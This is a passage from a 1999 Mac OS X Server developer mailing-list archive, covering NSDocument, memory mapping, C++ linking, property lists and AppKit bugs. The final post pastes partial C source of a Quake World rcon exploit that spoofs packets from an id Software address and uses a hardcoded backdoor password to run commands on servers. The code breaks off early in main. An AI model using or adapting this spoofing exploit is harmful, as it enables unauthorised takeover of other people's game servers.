this. All the rest of the code for both loading and saving the actual file itself will be handled for you. The big secret is the NSTypes fields in the customInfo.plist file you'll have to provide. I'd recommend cutting and pasting it out of TextEdit and changing a few names. This is where the NSDocument system learns what files it will open and which it wil reject, without this file the file loading side of the engine won't work well. The link between the text in the window and your subclass of document is the document's window method. Ask the window for it's view (if you have only one) or responder and send the pasteboard calls to it in your overrides of the methods above. You definitely don't need to handle the file writing yourself, nor do you need to do anything with the windowDidLoad (clever, but evil). That's about it, using NSDocument makes an application like this a few lines long - seriously!. As an aside it's worth pointing out that NSDocument fixes one of the most annoying problems that I've had for years under MacOS. In order to assign an icon to a file under MacOS your app has to provide the icon resource, and then a "fref" resource (and some associated ones) which loads the icons into the icon DB when the app first hits a machine (this the "inited" bit in the finder info I believe). The problem is that there was no way for the application to define the difference between a document and a "file", like settings or prefs. Thus if you wanted to assign an icon to your prefs file, if the user double clicked it the Finder would happily open the file with your all - which would typically then report an error because it's not a document! Way back in '90 I went to a System 7 Alpha show, and they mentioned that they were going to re-purpose one of the Finder bits to tell the Finder the difference between a file and a document. This never happened. Worse at WWDC96 I spoke to one of the Copeland Finder people and he looked at me like he'd never heard of it, which is funny because I'm pretty sure he was the one demoing it in the first place six years earlier! However it didn't solve another problem. If your app can import files from other apps, you still can't provide an icon for them, because there can be only one icon per file and if there's more the system gets _real_ confused. So for instance, if I write a spreadsheet that can open Excel files, I can't include an icon or document link for those files (you can include a fref though, allowing it to be dropped onto your app). So if the user gets a Excel file, and they don't have Excel either, they get a blank icon. Uggg. NSDocument and the Workspace solve both of these problems. For one you can assign icons with an NSRole of None. Doing this means you can add icons for things in your app that are not documents, and everything will work great. I used this in our app to add icons onto things like plugins and tools. The other thing you can do is provide icons for any of the formats you support with a NSRole of Viewer. During the login process while Workspace is loading up all your plist's for checking who does what, it will shake down the icon lists - so if you say you're a viewer for this file and someone else is an editor, they get to provide the icon. If there is no editor you provide the icon, the user sees correct icons, and those documents open in your app. I used this in our app to support Diagram! files, so I can provide an icon for the machines that don't have this app installed. NSDocument rocks. Maur4y From theisen at akaMail.com Mon Jul 5 13:07:57 1999 From: theisen at akaMail.com (Dirk Theisen) Date: Thu Nov 3 14:42:10 2005 Subject: Allocating objects in mmapped file? In-Reply-To: <1dufpbn.1vb2nzgex6pz4N@ascend-tk-p27.rhrz.uni-bonn.de> Message-ID: <1duhpeo.1638w0jsu8y9zM@ascend-tk-p22.rhrz.uni-bonn.de> [ A copy of this message has been posted to the newsgroups ] [ comp.lang.objective-c ] [ comp.sys.next.programmer ] Hi, John! John Jay Feiler : > Objects in your mapped memory pages will always point at their class > structures in non-mapped memory, and there's no way to guarantee > that those class structures will be at the same memory location when > the pages are mapped in. At the very least, you'd have to reset the > isa pointers whenever you mapped a page into memory. I have some ideas. Where can I learn more about the layout of the memory structures of objects of type "Class" on Mac OS X Server? > You could leverage the allocWithZone: stuff to make sure that your > objects were allocced in the correct memory pages, but some objects > don't obey zones and stuff, so there'd be a bunch of checking to do. Yes, I thought about that. For my purpose, it would be sufficient, if some basic foundation classes (NSDictionary etc.) and my own classes worked. Regards, Dirk P.S. I want PPP in MXS!!! From theisen at akaMail.com Mon Jul 5 15:42:57 1999 From: theisen at akaMail.com (Dirk Theisen) Date: Thu Nov 3 14:42:10 2005 Subject: Creating NSZone at a specific address? Message-ID: <1duhwi6.dc7m58sogka4M@ascend-tk-p110.rhrz.uni-bonn.de> jjfeiler@relief.com (John Jay Feiler): > You could leverage the allocWithZone: stuff to make sure that your > objects were allocced in the correct memory pages Is there a way to create a memory zone (NSZone) at a specific memory address? Always curious... Regards, Dirk -- Buy a Pentium III now, get your personal Big Brother FREE!!! http://theisen.home.pages.de/ From pshum at alitech.com Mon Jul 5 16:30:05 1999 From: pshum at alitech.com (Paul Shum) Date: Thu Nov 3 14:42:10 2005 Subject: System resource tool Message-ID: <00d601bec73e$500d20d0$0202010a@ali.bc.ca> Hi, Is there any other system resource monitoring tool similar to "top" on OpenStep 4.2? Specifically, I would like to know how many files have been opened or has it reached the maximum opened files limit if there is a limit? Is there a way to tune the system resources on OpenStep 4.2? Thank for your advice! Paul S. L. Shum From marcel at system.de Tue Jul 6 01:59:09 1999 From: marcel at system.de (Marcel Weiher) Date: Thu Nov 3 14:42:10 2005 Subject: Opportunity to put categories into Java? Message-ID: > From: Bill Bumgarner > > On Fri, 2 Jul 1999, Anders Pytte wrote: > > Dan, > > > > Unfortunately you cannot add categories to Java because it has compile time > > binding. > > I don't think this is necessarily the case.... at least, I was given the > impression by folks that have a very serious clue (in the ObjC/Java > systems group at Apple) that it could be done with a non-trivial, but > quantifiably reasonable, amount of effort invested in the VM and class > loader. > > > Categories would also breach Java's security, such as it is. > > Not true! Exactly! As a matter of fact, there is a paper called "Binary Component Adaptation" that describes a method for adding/removing/modifying not just methods but instance variables as well. http://www.cs.ucsb.edu/oocsb/papers/TRCS97-20.html On Aspect Oriented Programming: the Java implementation + examples are really very, very disappointing. It looks like someone from marketing told them to do something marketable to "Java for Dummies" people. The original concept is much better. There are much better papers + case studies on the AOP home page. The issue as I understand it is that providing "hooks" for all the different aspects you might want variable (memory representation, persistence, distribution, threading, ...) may be *possible* using OO techniques, but not really feasible from either a coding or a performance point of view, because you would need to dispatch each operation n times to account for n potential dimensions of variability. So, instead of factoring these concerns, the are woven into the code. AOP's weaver concept makes it possible to have hooks without explicitly putting them in the code, thus avoiding clutter. Although the weaving could be done dynamically at runtime (as it is with most OO variability) compile-time weaving allows aspectualization of very basic concerns such as memory access in performance critical code such as image processing of LP solving. Marcel From Philippe.Robert at uptime.ch Tue Jul 6 05:11:12 1999 From: Philippe.Robert at uptime.ch (Philippe Robert) Date: Thu Nov 3 14:42:10 2005 Subject: Librarian Message-ID: <9907061210.AA15325@california.uptime.ch> Hi! One of the most annoying 'missings' in MOSXS is the good old Librarian. So, is there a good replacement for it or does Apple plan to ship a new version one day?! To remain on topic, how much effort would it take to write a simpel Librarian based on AIAT?! sweet dreams, Phil -- Philippe C.D. Robert | Uptime ObjectFactory Inc Unix/OpenStep Software Engineer | http://www.uptime.ch http://www.nice.ch/~phip | info@uptime.ch From jjfeiler at relief.com Tue Jul 6 06:17:05 1999 From: jjfeiler at relief.com (John Jay Feiler) Date: Thu Nov 3 14:42:10 2005 Subject: Librarian Message-ID: <199907051720.KAA17076@haque.relief.com> ftp://ftp.omnigroup.com/pub/software/Source/Applications/OmniLibrarian-1999-01-20.tar.gz > From: Philippe Robert > To remain on topic, how much effort would it take to write a simpel > Librarian based on AIAT?! -- John Feiler jjfeiler@relief.com From erik at object-factory.com Tue Jul 6 06:58:59 1999 From: erik at object-factory.com (Erik Doernenburg) Date: Thu Nov 3 14:42:10 2005 Subject: PRESS RELEASE: Lamento Bugtracking System released Message-ID: <199907061359.GAA00917@ignem.omnigroup.com> For Immediate Release Contact: Erik Doernenburg Object Factory GmbH lamento-info@object-factory.com Object Factory announces Open Source Project LAMENTO -- AN EOF BASED BUGTRACKING SYSTEM Dortmund, Jul 6 1999 - Object Factory GmbH today announced the release of the open source project Lamento for Mac OS X Server. Lamento, an EOF based bugtracking system, consists of an application, a UNIX daemon and a WebObjects front-end. The application is used to maintain product information, including mail templates for automated e-mail notifications, and associations between developers and products. It contains a component that provides easy access to the work-flow centric handling of the incidents (aka bug reports) and it provides a powerful filter/search panel to keep track of the incident database. The WebObjects application can be used to submit incidents via the web but its main purpose is to show how to write a component with which users can submit incidents from within an arbitrary web app. Lamento is open source. We use it as an in-house tool and it works for us. That's all. Please understand that Lamento is neither bug free nor a supported product of Object Factory. We are releasing it to the public because we became aware that a couple of people and companies also need a similar system and we hope that we can all work together on one project rather than writing several similar systems. Note that there's no requirement that you publish your changes but we would really encourage you to do so as everybody will benefit. Further information and download instructions can be found at http://www.object-factory.com/Lamento From erik at object-factory.com Tue Jul 6 07:27:00 1999 From: erik at object-factory.com (Erik Doernenburg) Date: Thu Nov 3 14:42:10 2005 Subject: PRESS RELEASE: Lamento Bugtracking System released In-Reply-To: <199907061359.GAA00917@ignem.omnigroup.com> Message-ID: <199907061427.HAA05616@ignem.omnigroup.com> Sorry, my bad. The link should work now. erik From ari at dsimulation.com Tue Jul 6 00:47:03 1999 From: ari at dsimulation.com (Ari Danesh) Date: Thu Nov 3 14:42:10 2005 Subject: How do you set up a PPP account on MacOS Server? Message-ID: <00034ef6e3f2132d_mailit@relay.macconnect.com> The subject field says it all - How do you set up a PPP account on MacOS Server? Thanks for your help, Ari From daryl at montagetech.com Tue Jul 6 08:19:29 1999 From: daryl at montagetech.com (Daryl Thachuk) Date: Thu Nov 3 14:42:10 2005 Subject: Librarian In-Reply-To: <9907061210.AA15325@california.uptime.ch> References: <9907061210.AA15325@california.uptime.ch> Message-ID: <199907061519.JAA01644@cadvision.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 661 bytes Desc: not available Url : /mailman/archive/macosx-dev/attachments/19990706/c1b82f9b/attachment.bin From ddavidso at apple.com Tue Jul 6 08:45:07 1999 From: ddavidso at apple.com (Douglas Davidson) Date: Thu Nov 3 14:42:10 2005 Subject: Calling released objects (was Re: Command-W crashes app) Message-ID: <199907061545.IAA18782@scv4.apple.com> Try using the ExceptionHandling framework--see the release note for details. Douglas Davidson From raoul at mobopro.com Tue Jul 6 11:48:57 1999 From: raoul at mobopro.com (Raoul Duke) Date: Thu Nov 3 14:42:10 2005 Subject: Name mangling Message-ID: <37824F99.20ACD621@mobopro.com> I'm having a heck of time compiling some public-domain C++ classes on MOSXS. One of the template classes makes use of another template class (it's a Matrix using an Array instance variable) and though the Array class links fine on its own, when the Matrix class is put in the project, there are link errors: ld: for architecture ppc ld: Undefined symbols: __._t5Array1Zd ___as__t5Array1ZdRCt5Array1Zd ___t5Array1Zd ___t5Array1ZdG11IntIntervalT1 /usr/bin/libtool: internal link edit command failed All of this is C++ code, so it's not due to missing 'extern "C"' directives, I think. Any ideas? I'd be glad to mail the PB.project to anybody. Thanks, Raoul From rasmussn at soren.lanl.gov Tue Jul 6 11:22:52 1999 From: rasmussn at soren.lanl.gov (Craig E Rasmussen) Date: Thu Nov 3 14:42:10 2005 Subject: Name mangling In-Reply-To: <37824F99.20ACD621@mobopro.com> (message from Raoul Duke on Tue, 6 Jul 1999 12:08:53 -0700 (PDT)) References: <37824F99.20ACD621@mobopro.com> Message-ID: <199907061822.MAA00974@soren.lanl.gov> I've found that you need to make nm your friend if you want to work with C++. Name mangling is a massive pain. When I get link errors with undefined symbols I go through my *.o files with nm trying to track down where the symbol is actually defined and then I examine the name mangling to figure out why the linker failed to find the symbol. In this case you don't want to run nm with the -C option, as you want to look at the mangled names. >I'm having a heck of time compiling some public-domain C++ classes on MOSXS. >One of the template classes makes use of another template class (it's a Matrix >using an Array instance variable) and though the Array class links fine on its >own, when the Matrix class is put in the project, there are link errors: > >ld: for architecture ppc >ld: Undefined symbols: >__._t5Array1Zd >___as__t5Array1ZdRCt5Array1Zd >___t5Array1Zd >___t5Array1ZdG11IntIntervalT1 >/usr/bin/libtool: internal link edit command failed From malte at oops.se Wed Jul 7 05:17:04 1999 From: malte at oops.se (Malte Tancred) Date: Thu Nov 3 14:42:10 2005 Subject: PPC implementation of Seti At Home Message-ID: Ok, since upgrading to 1.05 for Windows the PII 400 (it wasn't a 450) performance is equal to or a bit better than the ppc-version. Too bad! :-) The HP still outperforms the P200 machines though, which feels kinda good (concidering what we payed for it back in -94). /Malte I wrote: > We run seti on a few machines, a couple of iMacs, some PCs and an old HPPA > RISC (715/100). The unit chunking is about twice as fast on the iMacs > (266MHz, 96MB) compared to the Wintel (PII 450 MHz). > > Why this huge difference? > Has the ppc version been tweaked in some vicious way, or what? From nberch at db.lv Wed Jul 7 07:05:39 1999 From: nberch at db.lv (Nils Berzins) Date: Thu Nov 3 14:42:10 2005 Subject: Oracle access Message-ID: <199907071406.RAA03403@saulite> Hi, We are developing a web site on MacOS X Server. Currently there is only one problem. We need to be able to verify the users login in our Oracle database, but there are no SqlNet drivers for MacOS X. Any ideas ? Nils Berzins From ullius at ivt.baum.ethz.ch Wed Jul 7 07:17:43 1999 From: ullius at ivt.baum.ethz.ch (Markus Ullius) Date: Thu Nov 3 14:42:10 2005 Subject: Problem with NT-version Message-ID: Hi I'm developing an application using EOF under MacOS X Server. In this app I fetch data from a DB (FrontBase) process this data and store the results in a document. Everything works fine. Now I'm porting to NT 4 (having WOF 4.0) installed. The creation works but when I want to open a created document I often get crashes: When I start my App from PB using gdb I get the msg: "Program received signal SIGSEGV, Segmentation fault. 0x3100a12f in objc_msgSend()" When I start my App from PB using the Launch-Terminal I get the error dialog from MS Developer Studio: "The instruction at 0x3100a12f referenced memory at "....". The memory could not be "read"". When I start the developer Studio from this dialog and run my app from there I get. "Unhandled exception in OpenTimeTable.exe (NEXTPDO.DLL): 0x0000005 Access Violation." There is a ptr in the assembly-code: 3100a12f cmp ecx, dword ptr [eax] having 004224FF in ecx and 704F5C70 in eax. So my question: What can I do to find out the problem (I checked each class if there is a variable uninitalized (in initWithCoder))? Could there be a problem in the WOF-installation (NEXTPDO.dll)? Is there a way to find out where exactly the crash happened (in one of my methods or in a framework-method)? Is there a way to find out to which method the address 3100a12f belongs to? Any other tips? Thanks Markus ------------------------------------------------------------------ Markus Ullius Institute of Transportation, Traffic, Highway & Railway Engineering (IVT) ETH Hoenggerberg 8092 Zurich Switzerland Fax: +41 1 633 10 57 Phone: +41 1 633 31 05 Direct: +41 1 633 24 15 http://www.ivt.baum.ethz.ch http://www.ivt.baum.ethz.ch/opentimetable.html From cybergrog at bigpond.com Wed Jul 7 07:55:40 1999 From: cybergrog at bigpond.com (Greg Hulands) Date: Thu Nov 3 14:42:10 2005 Subject: Barcode Framework? Message-ID: <14535574342686@domain3.bigpond.com> Does anyone know of a barcode framework for OSXS? Could you let me know please. Greg From alexnet at gestalt.com Wed Jul 7 10:54:42 1999 From: alexnet at gestalt.com (Alex Molochnikov) Date: Thu Nov 3 14:42:10 2005 Subject: Librarian Message-ID: <9907071754.AA00427@gestalt.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 226 bytes Desc: not available Url : /mailman/archive/macosx-dev/attachments/19990707/609f7472/attachment.bin From ajetha at tacticalstep.com Wed Jul 7 11:27:51 1999 From: ajetha at tacticalstep.com (A Jetha) Date: Thu Nov 3 14:42:10 2005 Subject: Librarian Message-ID: <772765FEAA3.AAA2BB0@bismuth.tor.sfl.net> > I loaded OmniLibrarian from omnigroup.com, and the frameworks, but the projects use omnimake as the building tool. > I loaded omnimake too, but it is a shell script. What do I do with it? > You don't have to use OmniMake. Just change the 'Build Tool' option in ProjectBuilder's inspector the standard option which should be /bin/gnumake on OSXS ... I'm not on an NT box right now, so I don't know what that one should be. We achieve *basically* the same thing as OmniMakeLite by using the following line in 'Build in' and framework search order: $(NEXT_ROOT)/Local/Public/Builds/$(USER) -- Alykhan Jetha (AJ) TacticalStep Inc., WWW: http://www.tacticalstep.com Email: ajetha@tacticalstep.com Phone: 905.831.2643 ext 1 Fax: 905.837.2546 From sanguish at digifix.com Wed Jul 7 12:23:15 1999 From: sanguish at digifix.com (Scott Anguish) Date: Thu Nov 3 14:42:10 2005 Subject: Librarian In-Reply-To: <772765FEAA3.AAA2BB0@bismuth.tor.sfl.net> References: <772765FEAA3.AAA2BB0@bismuth.tor.sfl.net> Message-ID: <199907071923.PAA07398@digifix.com> A Jetha wrote: > > You don't have to use OmniMake. Just change the 'Build Tool' option in > ProjectBuilder's inspector the standard option which should be /bin/gnumake > on OSXS ... I'm not on an NT box right now, so I don't know what that one > should be. I've attempted this in the past with OmniLibrarian.. and not had any success in getting it to compile at all. I've ended up using DocFinder (a demo on the OSXS CD). It sucks.. but.. .well... it sucks.. From paulrs at lgs-systems.com Wed Jul 7 12:55:04 1999 From: paulrs at lgs-systems.com (Paul R. Summermatter) Date: Thu Nov 3 14:42:10 2005 Subject: YAAB - NSSecureTextField & NSFormatter Message-ID: <9907071955.AA04999@slab> Hey guys, I've found yet another appkit bug. For an example of the bug on OSXS, download the file http://www.lgs-systems.com/Examples/SecureTextField.tar.gz. There seem to be multiple problems with NSSecureTextFields and NSFormatters. Firstly, you will note from my example, that formatters associated with NSSecureTextField's in IB seem to get "lost" when you compile and run the app. The other and more important problem for me is that if you programmatically set a formatter on a text field, validation of perfectly valid data entry fails. In my example app, there are two fields that share the same formatter which is created programmatically. The one field is a normal NSTextField, the other is an NSSecureTextField. The formatter is a simple number formatter. You'll note that, if you try typing in any numbers into the secure text field that has its formatter set programamtically, you cannot leave the field. To double check against my own stupidity, I have set up a regular NSTextField with the same formatter so that a perfectly valid number can be entered and then copied and pasted into the secure text field. Without wasting another day of my time on this, does anybody know exactly what is going on here? I can't find any reference to NSSecureTextField on the til site, so I'm assuming that this is not a known bug. I would greatly appreciate it if anyone would download the example and make sure that I am not just being an idiot. (BTW, this seems to be a new bug. The same problem does NOT exist on OS 4.2.) Regards, Paul --- Paul Summermatter LGS Systems, Inc. Medical Computing Division 15 TJ Gamester Ave Portsmouth, NH 03801-5871 (603) 433-9822 voice (603) 433-9818 fax (888) 898-6321 pager 8986321@skytel.com paging email paulrs@lgs-systems.com (NeXT or MIME Mail Welcome) http://www.lgs-systems.com From theisen at akaMail.com Wed Jul 7 13:40:35 1999 From: theisen at akaMail.com (Dirk Theisen) Date: Thu Nov 3 14:42:10 2005 Subject: NSData-based memory mapping in Server CR1 In-Reply-To: <199906092226.PAA02035@mungi.omnigroup.com> Message-ID: <1dulfxa.b5ctt0fhzhfkM@ascend-tk-p112.rhrz.uni-bonn.de> Hello, everybody! > Yep. In fact, we submitted this bug to Apple and have written a > patch which I'll append below (this will be available in the next > public release of the OmniFoundation framework). The code below is > ripped out of OmniFoundation and might require some tweaks to > compile. If you want an updated drop of OF with this in place, lemme > know. > > > // In MacOS X Server CR1, -initWithContentsOfMappedFile: immediately > read the entire file via read()! > // We'll implement our own version using private API. BTW: Is modifying mmap'ped memory possible in MXS? This is my first encounter with the BSD mmap() (the base of Omni map_fd(), I think) so it is possible that I do something silly: Afer successfully mmap'ping and modifying a memory region (with "data" pointing to it), I call msync(data, 0); which results in a system signal: "Bad System Call". The man page and headers are all there, though. If I leave out msync, the file is not modified (as expected). What's wrong? Regards, Dirk -- http://theisen.home.pages.de/ From aep at apple.com Wed Jul 7 14:46:13 1999 From: aep at apple.com (Andrew Platzer) Date: Thu Nov 3 14:42:10 2005 Subject: YAAB - NSSecureTextField & NSFormatter Message-ID: <199907072146.OAA08820@scv2.apple.com> > Without wasting another day of my time on this, does anybody know > exactly what is going on here? I can't find any reference to > NSSecureTextField on the til site, so I'm assuming that this is not a known > bug. I would greatly appreciate it if anyone would download the example and > make sure that I am not just being an idiot. (BTW, this seems to be a new > bug. The same problem does NOT exist on OS 4.2.) The implementation of NSSecureTextField did change for Rhapsody due to requirements for Java AWT and so it's probable that this is reason it no longer works. I am guessing your formatter is now seeing the bullets instead of the text and that's why it's failing validation. A quick glance at the code doesn't show any obvious reason why this should be or why it is forgetting formatters when loading from nibs. I will file a bug. Andrew Platzer Application Frameworks Apple Computer, Inc. From ajwdsp at cloud9.net Wed Jul 7 18:34:26 1999 From: ajwdsp at cloud9.net (Andrew Weiss) Date: Thu Nov 3 14:42:10 2005 Subject: Dialup devices for internal modem. Message-ID: <19990708013654.4EB4C763BA@russian-caravan.cloud9.net> Does anybody know what /dev/dialup0, /dev/dialup1, /dev/cuaa, /dev/cuab, /dev/cuia, and /dev/cuib (I think the last two are correct) are supposed to reference respectively. In hopes of maybe compiling pppd with some tweaking for my B&W internal G3 modem, I was hoping I could get a modem response by echoing "ATDT"> /dev/whatever. Dialup0 says that that is the wrong way to use that device, and cuaa locks the machine up completely (I'd assume that this is indeed the internal motherboard modem device, which I can't see as being serial since it's reported to have port transfer rates of 256K). Does anybody know how MacOS 8.x accesses the modem. I know it's a long shot, but I gotta have something to play with. Sucks that there is no standard PPP in OS X. It's absolutely useless to me right now. I don't exactly like 8.6 all that much, and I only have a 28K in my Pentium Pro. Also has anybody had any luck with the System Disk Extension or switching to OS 8.x on B&W... if I hold down option, then I get an endlessly rebooting computer. Booting off CD works fine (this is how I restore OS 8.x), and system disk works fine as an application, but when I use the extension version, it locks up before I can select anything. Thanks, Andrew P.S. Would apple developers answer these questions, or is there some NDA rigamarole around the internal G3 modem? From Malcolm_Crawford at plsys.co.uk Wed Jul 7 18:38:46 1999 From: Malcolm_Crawford at plsys.co.uk (mmalcolm crawford) Date: Thu Nov 3 14:42:10 2005 Subject: MWNY99: Next Generation Developer Birds of a Feather meeting Message-ID: <199907080138.CAA00348@jasmine.plsys.co.uk> Next Generation Developer Birds of a Feather meeting MacWorld New York 21 July 1999 Following the success of previous events, mmalcolm crawford/Stepwise will be hosting a Birds of a Feather meeting to discuss Apple's next generation technologies including WebObjects, Mac OS X Server, and DarwinOS on the evening of Wednesday 21 July 1999. MacWorld attendees are welcome to come along and share their experiences using these technologies(*). Allen Denison WebObjects Product Manager, and Dr. Ernest Prabhakar, Product Manager of MacOS X Server and Darwin, have kindly agreed to attend and answer questions in a panel session. Further details, including venue, will be posted nearer the time on relevant mailing lists and at the Stepwise website, http://www.stepwise.com/ (*) If anyone would like to give a short presentation on a relevant topic, please contact mmalcolm as soon as possible. From Malcolm_Crawford at plsys.co.uk Wed Jul 7 18:57:36 1999 From: Malcolm_Crawford at plsys.co.uk (mmalcolm crawford) Date: Thu Nov 3 14:42:10 2005 Subject: MWNY99: Next Generation Developer Birds of a Feather meeting Message-ID: <199907080157.CAA00364@jasmine.plsys.co.uk> Next Generation Developer Birds of a Feather meeting MacWorld New York 21 July 1999 Following the success of previous events, mmalcolm crawford/Stepwise will be hosting a Birds of a Feather meeting to discuss Apple's next generation technologies including WebObjects, Mac OS X Server, and Darwin OS on the evening of Wednesday 21 July 1999. MacWorld attendees are welcome to come along and share their experiences using these technologies(*). Allen Denison, WebObjects Product Manager, and Dr. Ernest Prabhakar, Product Manager of Mac OS X Server and Darwin OS, have kindly agreed to attend and answer questions in a panel session. Further details, including venue, will be posted nearer the time on relevant mailing lists and at the Stepwise website, http://www.stepwise.com/ (*) If anyone would like to give a short presentation on a relevant topic, please contact mmalcolm as soon as possible. From sanguish at digifix.com Wed Jul 7 20:36:17 1999 From: sanguish at digifix.com (Scott Anguish) Date: Thu Nov 3 14:42:11 2005 Subject: Still unable to debug with frameworks Message-ID: <199907080339.XAA09853@digifix.com> I'm still unable to get this to work.. I've got an aggregate project CET.framework XP.framework xEngine.app I'm trying to set breakpoints in classes in XP.framework I've specified the following Dynamic Library Paths /Local/Users/sanguish/Library/Frameworks/CET.framework /Local/Users/sanguish/Library/Frameworks/XP.framework Sources /Local/Users/sanguish/Developer/Projects/xMediaProject/Source/XMedia/CET.fproj /Local/Users/sanguish/Developer/Projects/xMediaProject/Source/XMedia/XP.fproj Unfortunately i STILL can't set breakpoints in classes in XP.framework (gdb) Interrupting running target program for gdb operation. (gdb) Unable to set breakpoint: the class XPGlossItem does not have any method named m Hint: try 'XPGlossItem.m:301 or 'XPGlossItem.m:301 (Note leading single quote.) Will attempt to resolve "XPGlossItem.m:301" on future dynamic loads. > Finished debugging 'xMediaEngine.app'. This is totally pissing me off (as are alot of things lately). The only reason I've had to break out these frameworks is because the braindead YB on Windows can't handle dynamically loadable bundles without them... (not that it matters, since we got royally boned on the actual delivery of that license anyways) Anyone have a solution that will allow me to debug my project? Anyone care? -- Scott Anguish Middlebury College - Center for Educational Technology Stepwise Server - Mac OS X Server Information From sanguish at digifix.com Wed Jul 7 22:04:28 1999 From: sanguish at digifix.com (Scott Anguish) Date: Thu Nov 3 14:42:11 2005 Subject: Followup on the Debugging whoas Message-ID: <199907080508.BAA10410@digifix.com> I should point out that while I'm bitching about NT at the end there.. this is actually on Mac OS X Server that I'm trying to do this debugging.. -- Scott Anguish Middlebury College - Center for Educational Technology Stepwise Server - Mac OS X Server Information From nathand at senet.com.au Wed Jul 7 22:41:55 1999 From: nathand at senet.com.au (Nathan Day) Date: Thu Nov 3 14:42:11 2005 Subject: First Program Message-ID: <199907080545.PAA32306@pluto.senet.com.au> Ok the error 'TextEdit.app' gives me is "Open Failed (path and name of file) Could not open, more interestingly files saved with my app as 'rtfd' can be opened with 'TextEdit.app'. >> 'TextEdit.app' complains about the files that I > create with my >> App. What's going on. > > What's the error? I didn't uses 'dataRepresentationOfType:' and 'loadDataRepresentation:ofType:' because I wanted to read and write 'rftd' which are file packages (directories), but I now see that there is 'loadFileWrapperRepresentation:ofType:' which I can use for that. > First off, if you've implemented the pasteboard ops for your app, > then I highly recommend using dataRepresentationOfType: and > loadDataRepresentation:ofType: as your only form of input and output. My real concern off which I didn't realy explain is to maintaining Model-view-controller structure, it seems to me that the model objects should be set up independantly to the view objects, NSTextView creates everything automaticly, its seems to me it shouldn't create the NSTextStorage instance, that should be created in the code independently of the View objects, also if I create Model objects in 'loadDataRepresentation:ofType:' does this only handles the circumstances where files are opened, if so where do I create model objects when the use creates a new document it would be best if there was one NSDocument method that created the model objects and it was called before 'loadDataRepresentation:ofType:'. This is all important as I want to implement AppleScripts and its important that documents can be manipulated without the present of any view object. -- Nathan Day nathand@senet.com.au From malcolm.handley at stonebow.otago.ac.nz Thu Jul 8 03:12:37 1999 From: malcolm.handley at stonebow.otago.ac.nz (malcolm handley) Date: Thu Nov 3 14:42:11 2005 Subject: Mutable ASCII property lists Message-ID: Hi, I am hoping to have my program read an ASCII property list (in this case a dictionary containing sub dictionaries) from a file, modify it and write it back to the disk. My problem is that when I read the file like this: NSMutableDictionary* mdict=[[NSMutableDictionary alloc]initWithContentsOfFile:path]; only the top-level dictionary is mutable. This is not altogether suprising, but it is not what I want. One way around this is presumably to convert the plist to serial form (programatically or using pl) and read it with: deserializePropertyListFromData:data mutableContainers:YES I would like to keep the file in ASCII so that I can read it and edit it. Is there any better way of doing this than reading it from the ASCII, serializing it to data and reading it from that data into a mutable form? I would also like to make all of the items (including strings) in the list mutable, but that is looking a little unlikely. BTW:I can't find any NSPPL files on my system (for persistent property lists). They are described in /System/Documentation/Developer/YellowBox/TasksAndConcepts/ProgrammingTopics/Pro pertyLists.pdf, but that is the only mention that I can find. Thanks for any help. malcolm. From jjfeiler at relief.com Thu Jul 8 06:42:53 1999 From: jjfeiler at relief.com (John Jay Feiler) Date: Thu Nov 3 14:42:11 2005 Subject: Mutable ASCII property lists Message-ID: <199907071746.KAA21032@haque.relief.com> There isn't any way to create a depply-mutable plist from an ASCII file, as you have discovered. What most of us have done a bajillion times is to add a category to all plist objects (NSData, NSString, NSArray, NSDictionary ) that adds a method - (id)deepMutableCopyWithZone:(NSZone *)zone; ( which makes a mutable copy of itself and its components ), then we just read the ASCII file and call that method. This makes sense, actually, since the parsing builds immutable objects by having pointers directly into the mmapped ASCII file, so it can't really hand you mutable objects by default. It would be nice, though, to have a copy-on-write set of mutable classes, that start out pointing to the mmapped file, but allocate their own memory once they are written to..... NSPPL is no longer part of Foundation, but you can download the source from apple's web site somewhere. J Begin forwarded message: > From: malcolm handley > Date: 1999-07-07 07:23:26 -0700 > To: Multiple recipients of list > Subject: Mutable ASCII property lists > Originator: macosx-dev@omnigroup.com > X-Comment: To unsubscribe, follow directions at > http://www.omnigroup.com/MailArchive/ > > Hi, > > I am hoping to have my program read an ASCII property list (in this case a > dictionary containing sub dictionaries) from a file, modify it and write it > back to the disk. > > My problem is that when I read the file like this: > NSMutableDictionary* mdict=[[NSMutableDictionary > alloc]initWithContentsOfFile:path]; > only the top-level dictionary is mutable. This is not altogether suprising, > but it is not what I want. > > One way around this is presumably to convert the plist to serial form > (programatically or using pl) and read it with: > deserializePropertyListFromData:data mutableContainers:YES > > I would like to keep the file in ASCII so that I can read it and edit it. > Is there any better way of doing this than reading it from the ASCII, > serializing it to data and reading it from that data into a mutable form? I > would also like to make all of the items (including strings) in the list > mutable, but that is looking a little unlikely. > > BTW:I can't find any NSPPL files on my system (for persistent property > lists). They are described in > > /System/Documentation/Developer/YellowBox/TasksAndConcepts/ProgrammingTopics/Pro > pertyLists.pdf, but that is the only mention that I can find. > > Thanks for any help. > > malcolm. > > -- John Feiler jjfeiler@relief.com From nat at object-factory.com Thu Jul 8 09:15:17 1999 From: nat at object-factory.com (Georg Wallmann) Date: Thu Nov 3 14:42:11 2005 Subject: Raw socket Message-ID: <199907081615.SAA09579@walitza.object-factory.com> Below there is a little source I grabbed from the net and tried to adapt to Mac OS X Server. When you use tcpdump to look at the packet this program generates, you can see that the socket code prepends it's own IP header. How can I circumvent this ? Or is this a bug ? Nat! /* rcon.c Quake world rcon_password bug implimentation by Jeff Roberson, (VallaH) Linux 2.0.33 source, will compile on BSD if you modify the ip header etc. Please note that I did not discover this, I simply wrote the code. Thanks to Nick Toomey, (Grifter) Brief summary: Any rcon command coming from the idsoftware subnet 192.246.40 with the rcon password of tms will be accepted on any server. This program simply spoofs a packet from vader.idsoftware.com (random pick) to whatever server you identify. Usage: ./rcon ip/host "what you want to do" [port] Example: ./rcon quake.idsoftware.com "say This program works, thanks Jeff" 27500 the port argument is optional, you may omit it if you like and it will default to 27500. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define SIP "192.25.136.1" /* vader.idsoftware.com */ #define command "ÿÿÿÿrcon tms " u_long resolve_address(u_char *host) { struct in_addr addr; struct hostent *he; if((addr.s_addr = inet_addr(host)) == -1) { if (!(he = gethostbyname(host))) { printf("Unknown address: %s\n", host); exit(-1); } bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length); } return(addr.s_addr); } int main(int argc, char **argv) { int s; int port=27500; char buf[512]; struct sockaddr_in dst; struct ip *iph=(struct ip *)buf; struct udphdr *udp=(struct udphdr *)(buf + 20); if (argc<3) { 